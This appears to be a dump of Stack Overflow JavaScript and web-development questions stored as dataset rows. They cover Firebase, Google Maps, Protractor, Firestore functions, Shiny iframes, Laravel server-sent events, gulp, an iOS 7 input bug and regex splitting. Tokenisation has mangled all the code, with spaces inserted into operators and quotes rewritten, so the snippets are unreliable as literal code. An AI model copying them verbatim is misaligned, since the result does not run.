\.js ? $ - 15 matchesPattern : src\utils\storage\my-file-name.test.js - 0 matchesWaiting for the debugger to disconnect ...",Jest `` No tests found '' after update VSCode to 1.32.1 "JS : I want to get a list of items in firebase , but each element of the item has a list of related items . I have n't been able to get the list , neither using firebase-util nor firebase array $ extend functionality.My firebase data looks something like this : And I just want to get a list of items with all the data . Something like : It looks like a fairly common use case , but I 'm stucked here . I have tried this solution ( in both ways ) but I could n't get it work . The data structure is also a bit different since I need to relate a list which is inside another list . items item1 name : `` Item 1 '' user : user1 images image1 : true image2 : true item2 name : `` Item 2 '' user : user1 images : image3 : true image4 : true item3 name : `` Item 3 '' user : user2 images : image5 : true image6 : trueusers user1 name : `` User 1 '' email : `` user1 @ email.com '' user2 name : `` User 2 '' email : `` user2 @ email.com '' images image1 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' image2 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' image3 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' image4 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' image5 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' items item1 name : `` Item 1 '' user name : `` User 1 '' email : `` user1 @ email.com '' images image1 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' image2 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' item2 name : `` Item 2 '' user name : `` User 1 '' email : `` user1 @ email.com '' images image3 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' image4 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' item3 name : `` Item 3 '' user name : `` User 2 '' email : `` user2 @ email.com '' images image5 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... '' image6 image : `` data : image/jpeg ; base64 , /9j/ ... '' thumb : `` data : image/jpeg ; base64 , /9j/ ... ''",Retrieve a related item list of an item list in a firebase array "JS : I have a google map on my wordpress single post page that grabs the address from 2 custom fields . It works fine , but now I 'm trying to add a street view link/option . I have on my page -- Which will then output something like this -- Is there a way to add street view without using coordinates ? I tried getting the coordinates but they were slightly off -- I 'm already using geocode to try and get the coordinates before hand . For example the geocode gives me these coordinates -- 34.0229995 , -118.4931421 but the coordinates I 'm looking for is -- 34.050217 , -118.259491 < iframe width= '' 100 % '' height= '' 350 '' frameborder= '' 0 '' scrolling= '' no '' marginheight= '' 0 '' marginwidth= '' 0 '' src= '' https : //www.google.com/maps/embed/v1/place ? q= < ? php echo $ add ; ? > , % 20 < ? php $ terms = wp_get_post_terms ( get_the_ID ( ) , 'city-type ' ) ; if ( ! empty ( $ terms ) & & ! is_wp_error ( $ terms ) ) { foreach ( $ terms as $ term ) { if ( $ term- > parent == 0 ) //check for parent terms only echo `` . $ term- > name . '' ; } } ? > & zoom=17 & key=mytoken '' > < /iframe > < iframe width= '' 100 % '' height= '' 350 '' frameborder= '' 0 '' scrolling= '' no '' marginheight= '' 0 '' marginwidth= '' 0 '' src= '' https : //www.google.com/maps/embed/v1/place ? q=100 las vegas ave , % 20Las Vegas , NV & amp ; zoom=17 & amp ; key=mytoken '' > < /iframe > < ? php function getCoordinates ( $ address ) { $ address = str_replace ( `` `` , `` + '' , $ address ) ; // replace all the white space with `` + '' sign to match with google search pattern $ url = `` https : //maps.google.com/maps/api/geocode/json ? sensor=false & address= $ address '' ; $ response = file_get_contents ( $ url ) ; $ json = json_decode ( $ response , TRUE ) ; //generate array object from the response from the webreturn ( $ json [ 'results ' ] [ 0 ] [ 'geometry ' ] [ 'location ' ] [ 'lat ' ] . `` , '' . $ json [ 'results ' ] [ 0 ] [ 'geometry ' ] [ 'location ' ] [ 'lng ' ] ) ; } $ terms = wp_get_post_terms ( get_the_ID ( ) , 'city-type ' ) ; if ( ! empty ( $ terms ) & & ! is_wp_error ( $ terms ) ) { foreach ( $ terms as $ term ) { if ( $ term- > parent == 0 ) //check for parent terms only echo getCoordinates ( $ add , $ term- > name , $ property_pin ) ; } } else { echo getCoordinates ( $ add , $ term- > name , $ property_pin ) ; } ? >",Street View Map with Google Maps Using Text Address "JS : I have a service where people can upload their images , and I display them on my website . I want to automatically hide a .gif if it is uploaded beside another .gif.I do n't want this to effect images ending in .png or .jpg.. only .gifs.Here is an image example..If there are three .gifs in a row , only display the first one.I have tried selecting it , and hiding it , but this does n't work at all.Do I need to use JavaScript or jQuery to achieve this ? img > .gif { display : none ; }",Hide a .gif if it is beside another .gif JS : In C I know true and false evaluate to 1 and 0 respectively . show in this case just prints to the screen ... Not sure what 's going on here . I 'm expecting to get true back . This 1 is messing up my karma . show ( 1 & & true ) ; trueshow ( true & & 1 ) ; 1,"Why does ( true & & 1 ) return 1 , but ( 1 & & true ) returns true ?" "JS : The Problem Description : We 've recently got this infamous error while opening one of the pages in our application in a Protractor end-to-end test : Failed : Timed out waiting for asynchronous Angular tasks to finish after 50 seconds . This may be because the current page is not an Angular application.This happens on a browser.get ( `` /some/page/ '' ) ; call in one of our tests : And , what is weird about our case , is that the error is not thrown on any other page in our Angular web application - Protractor syncs with Angular without any problems . ng-app location-wise things are the same across all the pages - ng-app is defined on the root html tag : The behavior is consistent - every time we navigate to this page with browser.get ( ) , we get this error . Any time we navigate to any other page in our app , sync works.Note that , of course , we can turn the sync off for this page and treat it as non-angular , but this can only be considered as a workaround.The Questions : What else can cause Protractor-to-Angular sync fail ? What should we check ? And , in general , what is the recommended way to debug sync problems in Protractor ? Using currently latest Protractor 5.5.1 , Angular 1.5.6 . describe ( `` Test '' , function ( ) { beforeEach ( function ( ) { browser.get ( `` /some/page/ '' ) ; } ) ; it ( `` should test something '' , function ( ) { // ... } ) ; ) } ; < html class= '' ng-scope '' lang= '' en-us '' ng-app= '' myApp '' ng-strict-di= '' '' >",Canonical way to debug Protractor-to-Angular sync issues "JS : In our webapp we log messages to the server via window.onerrorHowever , if the client ( the web browser ) is using a non english language the message will be in whatever language the user has their web browser set to.Is there any way to change this somehow ? Currently it is very unhelpful to get messages in multiple languages , hard to search for similar errors when they are in 12 different languages , also tricky for developers that need to translate to english all the time to figure out what went wrong . [ Edit ] Adding an example hereIn this example , the message will be in english most of the time , but sometimes it turns up in for example danish or swedish depending on the client ( webbrowser ) . window.onerror = function ( message , url , lineNumber , columnNumber ) { // log error here to server }",Can you change language of javascript error event messages ? "JS : I 've deployed a Cloud Firebase Function to update some aggregate data but I 'm getting aggregateReceivedRatings : Error : Can not decode type from Firestore Value : { `` integerValue '' : '' 3 '' } at DocumentSnapshot._decodeValue ( /user_code/node_modules/firebase-admin/node_modules/ @ google-cloud/firestore/src/document.js:464:15 ) at DocumentSnapshot.get ( /user_code/node_modules/firebase-admin/node_modules/ @ google-cloud/firestore/src/document.js:372:17 ) at exports.aggregateReceivedRatings.functions.firestore.document.onWrite.event ( /user_code/lib/index.js:9:32 ) at Object . ( /user_code/node_modules/firebase-functions/lib/cloud-functions.js:59:27 ) at next ( native ) at /user_code/node_modules/firebase-functions/lib/cloud-functions.js:28:71 at __awaiter ( /user_code/node_modules/firebase-functions/lib/cloud-functions.js:24:12 ) at cloudFunction ( /user_code/node_modules/firebase-functions/lib/cloud-functions.js:53:36 ) at /var/tmp/worker/worker.js:695:26 at process._tickDomainCallback ( internal/process/next_tick.js:135:7 ) The function is very similar to the one illustrated on the Firestore solution section for aggregation queries : And the rating value is the integer 3.I 've also run npm install firebase-functions @ latest firebase-admin @ latest -- saveand re-deployed but without luck.My package.json contains the following : Any help ? exports.aggregateReceivedRatings = functions.firestore.document ( 'users/ { userId } /feedbacks_received/ { ratingId } ' ) .onWrite ( event = > { var ratingVal = event.data.get ( 'rating ' ) ; const db = admin.firestore ( ) ; var restRef = db.collection ( 'users ' ) .document ( event.params.userId ) ; return db.transaction ( transaction = > { return transaction.get ( restRef ) .then ( restDoc = > { var newNumRatings = restDoc.data ( 'received_feedbacks ' ) .tot + 1 ; var newSum = restDoc.data ( 'received_feedbacks ' ) .sum + ratingVal ; return transaction.update ( restRef , { sum : newSum , tot : newNumRatings } ) ; } ) ; } ) ; } ) ; { `` name '' : `` functions '' , `` scripts '' : { `` build '' : `` ./node_modules/.bin/tslint -p tslint.json & & ./node_modules/.bin/tsc '' , `` serve '' : `` npm run build & & firebase serve -- only functions '' , `` shell '' : `` npm run build & & firebase experimental : functions : shell '' , `` start '' : `` npm run shell '' , `` deploy '' : `` firebase deploy -- only functions '' , `` logs '' : `` firebase functions : log '' } , `` main '' : `` lib/index.js '' , `` dependencies '' : { `` firebase-admin '' : `` ~5.4.2 '' , `` firebase-functions '' : `` ^0.7.1 '' } , `` devDependencies '' : { `` tslint '' : `` ^5.8.0 '' , `` typescript '' : `` ^2.5.3 '' } , `` private '' : true }",Can not decode type from Firestore Value "JS : I want to capture a click on a link within an iframe in a shiny app . And i want to know which link was clicked.Outside shiny this works fine . I added a fully reproducible example for a related question : https : //stackoverflow.com/a/46093537/3502164 ( It has to run on a ( local ) server , e.g . xaamp ) .My attempt:1 ) The app to be saved in Path/To/App.2 ) In the www folder store the html file that should be displayed within iframe.fileWithLink.html3 ) App has to be started with runApp ( `` Path/To/App '' , launch.browser = TRUE ) ( So that a local server is started ) . < html > < body > < a href= '' https : //stackoverflow.com/ '' > SOreadytohelp < /a > < /body > < /html > library ( shiny ) library ( shinyjs ) ui < - fluidPage ( useShinyjs ( ) , htmlOutput ( `` filecontainer '' ) ) server < - function ( input , output , session ) { session $ onFlushed ( once = T , function ( ) { runjs ( `` console.log ( ' I arrive here ' ) $ ( ' # filecontainer ' ) .load ( function ( ) { console.log ( 'But not here ' ) var iframe = $ ( ' # filecontainer ' ) .contents ( ) ; iframe.find ( ' # a ' ) .click ( function ( ) { alert ( ' I want to arrive here ' ) ; } ) ; } ) ; `` ) } ) output $ filecontainer < - renderUI ( { tags $ iframe ( src = `` fileWithLink.html '' , height = 600 , width = 1200 ) } ) } shinyApp ( ui , server )",Capture click within iframe in a shiny app "JS : We have a template like this . the-template.htmlWe want to do this with it.some-file.tsWhat is the equivalent of our makeItHappen function ? < template > < div > $ { Foo } < /div > < /template > let htmlString = makeItHappen ( 'the-template.html ' , { Foo = 'bar ' } ) ; console.info ( htmlString ) ; // < div > bar < /div >",Generate a raw HTML string from a component file and a view model "JS : I have confusion on how to proceed with my project.I am developing an enterprise app in which lots of modules are to be written.Most of module will be using lots of jQuery plugins to create complex grids , draw graphs for different purposes which means modules will be appending divs , tables etc a lot to DOM.I want to preserver namespace since this will be large app.For that I came across prototype method and self-executing anonymous function.self-executing anonymous function seems to be recommended a lot.My questions are Are self executing functions reusable ? I mean these are immediately executed so lets say a module draws a complex grid for a given JSON file . So will I be able to use same self-executing anonymous function for 3 different JSON files just like a jQuery plugin ? when there will be lots of modules written , they will all self execute on start-up . Will it effect Ram/Processor usage ? Should n't it be way that modules should be called when needed ? what significance will self execution do ? My Project Scope : Kindly help me understand this self executing thing in my project scope , which is My project Holds a main namespace say `` Myapp '' and and its modules like Myapp.moduleA , Myapp.moduleB.MyApp will trigger its modules on click etc.What is best way to go for me ? Self-Executing Anonymous Func ( function ( skillet , $ , undefined ) { //Private Property var isHot = true ; //Public Property skillet.somevar = `` Bacon Strips '' ; //Public Method skillet.draw = function ( ) { //Draw a grid } ; //Private Method function _grid ( ) { // } } } ( window.skillet = window.skillet || { } , jQuery ) ) ;",jQuery namespace declaration and modular approach "JS : I 'm studying from this site and came upon this question and answer : Write a sum method which will work properly when invoked using either syntax below.//answerI understand the code in the if statement , but not in the else statement because it 's simply returning a function . That function is n't called with a ' ( ) ' , so given the 2nd scenario of console.log ( sum ( 2 ) ( 3 ) ) ; I do n't see why it will return 5 . I can only see that it will return function ( 3 ) { return 2 + 3 } which should throw an error . console.log ( sum ( 2,3 ) ) ; // Outputs 5 console.log ( sum ( 2 ) ( 3 ) ) ; // Outputs 5 function sum ( x ) { if ( arguments.length == 2 ) { return arguments [ 0 ] + arguments [ 1 ] ; } else { return function ( y ) { return x + y ; } ; } }",How does return work in Javascript without a function being invoked ? "JS : I have a small EmberJS application that uses Ember-Cli . My application has a private ES6 library that is a bower dependency . Basically , what I want is to import the library and use it wherever I want.If I 'm not wrong , I should transpile the library in my brocfile.js and use it afterwards . Unfortunately , I can not provide too much concrete information but I 'll try my best to be the clearer possible . My external library is named main-lib and is structured the following way ( it is working in another project ) : bower_componentsmain-libapi.jsmain.jsmessage.jsIn the main.js file , I have the following : So , what I want to do , is , in my application , to import main and use the different functions it contains.Example , in a certain emberjs controller : To do so , I thought of doing the following in my brocfile.jsHowever , this does nothing . Basically , I want the transpiled files to be included in vendor.js or somewhere where I would be able to use the library by importing it . There 's something I 'm missing here but I ca n't pinpoint it.Edit1 : After adding these lines at the end of my brocfile.js : I can get an ES5 that looks like this : The problem is that it does not import main/api and main/message as well . Do I have to repeat the code for each file that I want ? Also , the file is not concatenated in vendor.js but simply but at the root of /dist import Api from 'main/api ' ; import Message from 'main/message ' ; var main = { } ; main.api = Api ; main.message = Message ; export default main ; import Main from 'main ' ; //use Main here var tree = 'bower_components/main-lib ' ; var ES6Modules = require ( 'broccoli-es6modules ' ) ; var amdFiles = new ES6Modules ( tree , { format : 'amd ' , bundleOptions : { entry : 'main.js ' , name : 'mainLib ' } } ) ; mergeTrees = require ( 'broccoli-merge-trees ' ) module.exports = mergeTrees ( [ app.toTree ( ) , amdFiles ] ) ; define ( [ 'main/api ' , 'main/message ' ] , function ( api , message ) { var main = { } ; main.api = Api ; main.message = Message ; var _main = main ; return _main ; } ) ;",Use ES6 library in Ember-cli project "JS : I am trying to create a listener on a component attached to either mousedown ( for desktops ) and touchstart ( for mobile ) However , when I run it like above it does n't work . When I have 1 option ( either mousedown or touchstart ) it working fine for given event type , however as soon as I add the second option it does n't react at all . this.renderer.listen ( this.el.nativeElement , 'mousedown touchstart ' , ( event : any ) = > { }",Angular Renderer2 listen - can not attach to touchstart and mousedown "JS : Just wondering the best way to replace in place matches on a string.for example , works , but I want each instance of `` bob '' to be replaced with a random string I have stored in an array . Just doing a regex match returns me the matching text , but does n't allow me to replace it in the original string . Is there a simple way to do this ? For example I would expect the string : To maybe pop out as value.replace ( `` bob '' , `` fred '' ) ; `` Bob went to the market . Bob went to the fair . Bob went home '' `` Fred went to the market . John went to the fair . Alex went home ''",Iterate through Javascript regex matches to modify original string "JS : Given a predefined set of phrases , I 'd like to perform a search based on user 's query . For example , consider the following set of phrases : The expected behaviour is : To implement this behaviour I used a trie . Every node in the trie has an array of indices ( empty initially ) .To insert a phrase to the trie , I first break it to words . For example , Programming Puzzles has index = 6 . Therefore , I add 6 to all the following nodes : The problem is , when I search for the query prog p , I first get a list of indices for prog which is [ 5 , 6 ] . Then , I get a list of indices for p which is [ 5 , 6 ] as well . Finally , I calculate the intersection between the two , and return the result [ 5 , 6 ] , which is obviously wrong ( should be [ 6 ] ) .How would you fix this ? index phrase -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -0 Stack Overflow1 Math Overflow2 Super User3 Webmasters4 Electrical Engineering5 Programming Jokes6 Programming Puzzles7 Geographic Information Systems query result -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- s Stack Overflow , Super User , Geographic Information Systemsweb Webmastersover Stack Overflow , Math Overflowsuper u Super Useruser s Super Usere e Electrical Engineeringp Programming Jokes , Programming Puzzlesp p Programming Puzzles pprproprogprogrprograprogramprogrammprogrammiprogramminprogrammingpupuzpuzzpuzzlpuzzlepuzzles",Searching for multiple partial phrases so that one original phrase can not match multiple search phrases JS : I have this adb shell command for android and tried with the terminal and it 's working perfectly . But not sure how to use this in a framework using appium command . // disableadb shell settings put secure enabled_accessibility_services com.android.talkback/com.google.android.marvin.talkback.TalkBackService// enableadb shell settings put secure enabled_accessibility_services com.google.android.marvin.talkback/com.google.android.marvin.talkback.TalkBackService,How can I Turn on/off Accessibility through appium using javascript "JS : I 've seen self-calling functions in Javascript written like this : But I 've also seen them written like this : Syntactically , they do exactly the same thing . My personal habit is the first format , actually , but is there any difference between the two that I should be aware of ? Like browser kinks or whatever ? One very trivial thing , for example , is if the second format should work reliably , then it would mean that something like this should be possible as well : It hurts readability a good deal though . ( function ( ) { // foo ! } ) ( ) ; ( function ( ) { // bar ! } ( ) ) ; function ( ) { // shut the front door ! saved two characters right there ! } ( ) ;",How should I declare my self-calling function ? "JS : So I am trying to use Server Sent Events in my laravel app but the problem is that in SSE , you can only specify single URL as in : The problem is that I want to send events from different parts/controllers of the entire application not just single sse.php file for example . Example : The only idea that comes to my mind is that from these controllers , create temporary files with event text and then read those text files in sse.php file , send events and then delete files . However , this does n't look like perfect solution . Or maybe hook sse.php file with Laravel events mechanism somehow but that seems kinda advanced.I also do n't mind creating multiple event source objects with different php files like sse.php but problem is that those controllers methods do n't necessarily just send events alone , they do other work as well . For example , I can not use postLogin action directly in SSE object because it also performs the login logic not just sending event.Has anyone had similar problem and how to tackle with it please ? var evtSource = new EventSource ( `` sse.php '' ) ; // AuthController.phppublic function postLogin ( Request $ request ) { // login logic // SEND SSE EVENT ABOUT NEW USER LOGIN } // FooController.phppublic function sendMessage ( ) { // SEND SSE EVENT ABOUT NEW MESSAGE }",How to avoid single route in Laravel for Server Sent Events "JS : Is there any options to detect changes on fabricJS ? I use following program to save my canvas . Then when save it again , I have to detect whether there are any changes on canvas before going to save it again . How to do this ? var printImg = canvas.toDataURL ( { format : 'png ' , multiplier : multi , left : ( canvas.width - maskWidth ) /2 , height : maskOriHeight/multi , width : maskOriWidth/multi } ) ;",How to detect changes on canvas in fabricJS ? "JS : Part of my gulpfile.jsworked well.Then I installed a new system and there maybe got new versions of gulp and del and whatever.Now gulp stops after cleaning.I can call all tasks manually , that 's working fine.Could only be a change in the behaviour of del ... How can I fix this ? const del = require ( 'del ' ) ; const chrome_dir = 'build/chrome ' ; const ff_dir = 'build/firefox ' ; gulp.task ( 'clean ' , function ( cb ) { del ( [ chrome_dir , ff_dir ] , cb ) ; } ) ; gulp.task ( 'default ' , [ 'clean ' ] , function ( ) { gulp.start ( 'build packages ' , 'JS Backend ' , 'i18n ' , 'ExtRes ' , 'styles ' , 'JS Content ' , 'templates ' ) ; } ) ;",Gulp clean / del behaviour has changed "JS : What is it about Javascript that lets me use inverted / backwards parentheses in function calls like this ? I 'm running in a Node console on the CLI ; specifically Node version 0.10.25.Addendum : This does n't appear to work in Chrome 33.0.1750.152 , Safari 7.0.2 , or Firefox 27.01 . Is this actually some kind of `` feature '' of some interpretation of ECMAScript , or a Node peculiarity ? If Node is using V8 , should n't it match up with the Chrome results ? function a ( ) { return 42 } a ( ) // - > 42a ) ( // - > 42 . WTF ? function b ( t ) { return t } b ( 4 ) // - > 4b ) 4 ( // No function evaluation ; presumably dangling parenthesesb ) ( 4 // - > 4 . WTF ?",Inverted parentheses in Javascript "JS : I 've been building a site . At some stage I noticed that IE display was a little broken and Chrome had all but rendered nothing but the body tag ( empty ) , and FF all looked good.After throwing my keyboard around the room and bashing my head against my mouse , I discovered the problem . I had left ( do n't ask how or why , must have been some lightning speed cut and paste error ) an HTML comment unclosed in an inline script block.I 'm guessing ( not tested ) the problem would have either not come up , or manifested itself in a far more noticeable way if the script was external . So anyways , I got to thinking , is there ever a time when you have a really good reason to write inline script ? ? < script type= '' text/javascript '' > < ! -- ... < /script >",Is there any good reason for javascript to be inline "JS : Since the launch of iOS 7 we are getting orders through that have one character missing from the end of inputted data . For example , if I enter Tanveer b Bal into the name field , it would return Tanveer b Ba . See screenshot below : I believe the bug may be due to a trim filter we use on inputs to remove whitespace . We use the dojo/_base/lang trim function : https : //github.com/dojo/dojo/blob/1.9/_base/lang.js # L510Has anyone else experienced this issue ? Instructions to reproduceVisit http : //demo.zoopcommerce.com Add to cart Checkout Enter email address and name then click nextThe email address may now be missing the last characterUPDATE : I created a trim tester here : http : //jsfiddle.net/QJFBL/embedded/result/ but it seems to work fine on iOS 7 . ( Created another one with more of my dependencies : http : //jsfiddle.net/qmKvZ/8/ ) I also tried my implementation on an iOS 7 VM on http : //crossbrowsertesting.com/ and again , it worked.UPDATE 2 : http : //www.browserstack.com/ release an iOS7 VM today . I 've tried my checkout with mixed results . Sometimes the bug happens and sometimes not . However , the bug still does n't appear at all on a simple stripped back version http : //jsfiddle.net/qmKvZ/9/embedded/result/ , which makes me think there may be a deeper issue ? String.prototype.trim ? function ( str ) { return str.trim ( ) ; } : function ( str ) { return str.replace ( /^\s\s*/ , `` ) .replace ( /\s\s* $ / , `` ) ; }",iOS 7 safari possible javascript/dojo trim bug JS : Why is { } || [ ] not valid ? $ echo ' [ ] || { } ' | node # this works $ echo ' { } || [ ] ' | node # but this does n't [ stdin ] :1 { } || [ ] ^^SyntaxError : Unexpected token || at createScript ( vm.js:80:10 ) at Object.runInThisContext ( vm.js:139:10 ) at Object. < anonymous > ( [ stdin ] -wrapper:6:22 ) at Module._compile ( module.js:652:30 ) at evalScript ( bootstrap_node.js:466:27 ) at Socket. < anonymous > ( bootstrap_node.js:237:15 ) at emitNone ( events.js:111:20 ) at Socket.emit ( events.js:208:7 ) at endReadableNT ( _stream_readable.js:1064:12 ) at _combinedTickCallback ( internal/process/next_tick.js:138:11 ) $ echo ' ( { } ) || [ ] ' | node # unless you do this,{ } || [ ] is not valid JavaScript "JS : Using Babel , I can see that compiles to which is what I expect . However I get an error when I try to use it with || Which I 'd expect to be equivalent to Why is this an error ? Also , is there a more correct ES6 version of this familiar syntax ? callback = ( ) = > { } ; callback = function callback ( ) { } ; callback = callback || ( ) = > { } callback = callback || function ( ) { } ;",How to use arrow function with || operator "JS : I see this type of code when looking through our working code base : orDisclaimer : I have not worked with CSS before . but I heard that we should separate css , js , html , C # , other than put them together.so , is the above code bad ? If yes , how is the better approach ? private Button AddClearButton ( ) { return new Button { OnClientClick = string.Format ( @ '' $ ( ' . { 0 } ' ) .css ( 'background-color ' , ' # FBFBFB ' ) ; $ ( ' # ' + { 1 } ) .val ( `` ) ; $ ( ' # ' + { 2 } ) .val ( `` ) ; return false ; '' , _className , _hiddenImageNameClientId , _hiddenPathClientId ) , Text = LanguageManager.Instance.Translate ( `` /button/clear '' ) } ; } _nameAndImageDiv = new HtmlGenericControl ( `` div '' ) ; var imageDiv = new HtmlGenericControl ( `` div '' ) ; imageDiv.Attributes.Add ( `` style '' , `` width : 70px ; height : 50px ; text-align : center ; padding-top : 5px ; `` ) ; var nameDiv = new HtmlGenericControl ( `` div '' ) ; nameDiv.Attributes.Add ( `` style '' , `` width : 70px ; word-wrap : break-word ; text-align : center ; '' ) ; var image = new HostingThumbnailImage ( ) ;",Is embedding CSS/jQuery code in C # code bad ? "JS : Okay here 's what happened.My background video was working on all browsers previously . Then Suddenly this morning it stopped working on some browsers . The video no longer player or freezes immediatelyI cleared my cache and nothing . Then I tried reverting the changes and nothing . I also tried writing it again from scratch and nothing.The last thing I tried is adding this script code : The website is www.medshopandbeyond.com.The background video does not work on chrome , opera , safari . It loads SOMETIMES on firefox and it ALWAYS plays on Internet Explorer.How can I fix this ? Your help is truly appreciatedHTML Markup of Video and Content : CSS of the Video : CSS of Content : < script > $ ( document ) .ready ( function ( ) { var vid = document.getElementById ( `` bgvid '' ) ; vid.play ( ) ; } ) ; < /script > { % if template == 'index ' % } < ! -- < div id= '' slideshow-shadow '' > < /div > -- > < div class= '' video-background '' id= '' video-background '' > < video loop= '' loop '' autoplay poster= '' { { 'photo-1445.jpg ' | asset_url } } '' width= '' 100 % '' > < source src= '' { { 'Newest4.mp4 ' | asset_url } } '' type= '' video/mp4 '' > < source src= '' { { 'Newest4.webm ' | asset_url } } '' type= '' video/webm '' > < source src= '' { { 'home.ogg ' | asset_url } } '' type= '' video/ogg '' > < img alt= '' '' src= '' { { 'home-placeholder.jpg ' | asset_url } } '' width= '' 640 '' height= '' 360 '' title= '' No video playback capabilities , please download the video below '' > < /video > < div class= '' headline_22 '' > < table > < tr > < td width= '' 50 % '' > < /td > < td width= '' 50 % '' class= '' headline_content '' > < h1 > Beyond Limitations < /h1 > < p > Med Shop and Beyond stands for Freedom , Lifestyle , Wellness and Family . We strive to provide high quality medical supplies and equipment to our customers < /p > < /td > < /tr > < tr > < td width= '' 50 % '' > < /td > < td width= '' 50 % '' class= '' tb_action '' > < a href= '' http : //www.medshopandbeyond.com/collections/all '' class= '' btn_action_22 '' > < span > Start Shopping < /span > < i class= '' ico_arrow '' > < /i > < /a > < /td > < /tr > < tr > < td > < /td > < /tr > < tr > < td > < /td > < /tr > < tr > < td > < /td > < /tr > < tr > < td > < /td > < /tr > < tr > < /tr > < /table > < /div > < /div > div.video-background { height : 58em ; left : 0 ; overflow : hidden ; /*position : fixed ; top : 96px ; */ vertical-align : top ; width : 100 % ; /*z-index : -1 ; */ margin-top : -16px ; position : relative ; margin-bottom : 0px ; -webkit-filter : brightness ( 95 % ) ; -moz-filter : brightness ( 95 % ) ; -khtml-filter : brightness ( 95 % ) ; -ms-filter : brightness ( 95 % ) ; -o-filter : brightness ( 95 % ) ; } div.video-background video { min-height : 850px ; ; min-width : 100 % ; z-index : -2 ! important ; } div.video-background > div { height : 850px ; left : 0 ; position : absolute ; top : 0 ; width : 100 % ; z-index : 10 ; } div.video-background .circle-overlay { left : 50 % ; margin-left : -590px ; position : absolute ; top : 120px ; } div.video-background .ui-video-background { display : none ! important ; } /************* Call to Action Button - Style 22 ******************/.btn_action_22 { background : # 00559f ! important ; /* Change button background color */ border : 1px solid # 00559f ! important ; /* Change button border color */ color : # fff ! important ; /* Change button text color */ line-height : 1.2 ; font-size : 30px ; display : inline-block ; padding : 22px 45px 23px ; position : absolute ; text-decoration : none ; text-transform : uppercase ; z-index : 3 ; white-space : nowrap ; -webkit-box-sizing : border-box ; -moz-box-sizing : border-box ; box-sizing : border-box ; float : left ; font-family : Lato ; font-weight : 100 ; } .btn_action_22 span { left : 12px ; position : relative ; -o-transition : all .4s ; -moz-transition : all .4s ; -webkit-transition : all .4s ; transition : all .4s ; } .btn_action_22 .ico_arrow { background : url ( ico_arrow_w.png ) 0 center no-repeat ; display : inline-block ; height : 16px ; width : 18px ; position : relative ; left : 0 ; top : 0px ; opacity : 0 ; filter : alpha ( opacity=0 ) ; -o-transition : all .4s ; -moz-transition : all .4s ; -webkit-transition : all .4s ; transition : all .4s ; } .btn_action_22 : hover { background : # 69d617 ! important ; /* Change button background color when mouse over */ color : # 000 ! important ; /* Change button text color when mouse over */ border:1px solid # 69d617 ! important ; } .btn_action_22 : hover span { left : -12px ; } .btn_action_22 : hover .ico_arrow { opacity : 1 ; filter : alpha ( opacity=100 ) ; left : 12px ; } /************** Headline Item *************/.headline_22 { background-image : url ( `` { { 'man-909049_1920.jpg ' | asset_url } } '' ) ; height : 70em ; position : relative ; background-repeat : no-repeat ; -webkit-background-size : cover ; -moz-background-size : cover ; -o-background-size : cover ; background-size : cover ; margin-bottom : -20px ; background-position : center top ; width : 100 % ; margin-top : 220px ; /*border-bottom : 1px solid # e6e6e6 ; */ color : # 000 ! important ; /* Change headline background color */ display : inline-block ; } .headline_22 h1 { color : # 000 ! important ; /* Change headline title text color */ font-size : 52px ; line-height : 1.2 ; text-transform : uppercase ; font-weight : 100 ; font-family : Lato ; padding : 0 ; margin : -1px 0 9px ; background-color : # fff ; opacity:0.5 ; } .headline_22 p { line-height : 1.4 ; font-size : 39px ; margin : 0 0 10px ; padding : -10px ; font-family : Lato ; font-weight : 100 ; word-spacing : -1px ; background-color : # fff ; opacity:0.5 ; } .headline_22 table { border-spacing : 0 ; width : 100 % ; } .headline_22 td { vertical-align : top ; padding : 25px ; } .headline_22 .headline_content { padding : 20px 25px 9px ; text-align : justify ; } @ media ( max-width : 979px ) { .headline_22 .headline_content { text-align : center ; } .headline_22 td { display : block ; width : 100 % ; -webkit-box-sizing : border-box ; -moz-box-sizing : border-box ; box-sizing : border-box ; } .btn_action_22 { text-align : center ; width : 100 % ; margin-left : -2px ; } } @ media ( max-width : 479px ) { .btn_action_22 { padding : 18px 30px ; margin-left : -2px ; } }",How to fix a background video that stopped working on certain browsers "JS : I need to split a string , but ignoring stuff between square brackets.You can imagine this akin to ignoring stuff within quotes.I came across a solution for quotes ; ( \| ) ( ? = ( ? : [ ^ '' ] | '' [ ^ '' ] * '' ) * $ ) So ; one|two '' ignore|ignore '' |threewould be ; However , I am struggling to adapt this to ignore [ ] instead of `` .Partly its down to there being two characters , not one . Partly its down to [ ] needing to be escaped , and partly its down to me being pretty absolutely awful at regexs.My goal is to get ; So ; one|two [ ignore|ignore ] |threesplit to ; I tried figuring it out myself but I got into a right mess ; ( \| ) ( ? = ( ? : [ ^\ [ |\ ] ] |\| ] [ ^\ [ |\ ] ] *\ [ |\ ] ) * $ ) I am seeing brackets and lines everywhere now.Help ! onetwo '' ignore|ignore '' three one two [ ignore|ignore ] three",Splitting by `` | `` not between square brackets "JS : array_map asks for the $ array input as the last parameter ( s ) . array_filter and array_reduce take $ array input as the first parameter . As a contrasting example , when you call map , filter or reduce on an array in JavaScript , the callback function signatures look likeArray.prototype.reduce takes the carryover value as the first parameter , but it is still impossible to mix up the parameters ' order in the JavaScript methods . I know that PHP is n't functionally-oriented , but I 'm wondering what the design decisions were leading to the signatures for array_map etc . Does array_map take an array as the last parameter simply because you can feed as many arrays as you want ( 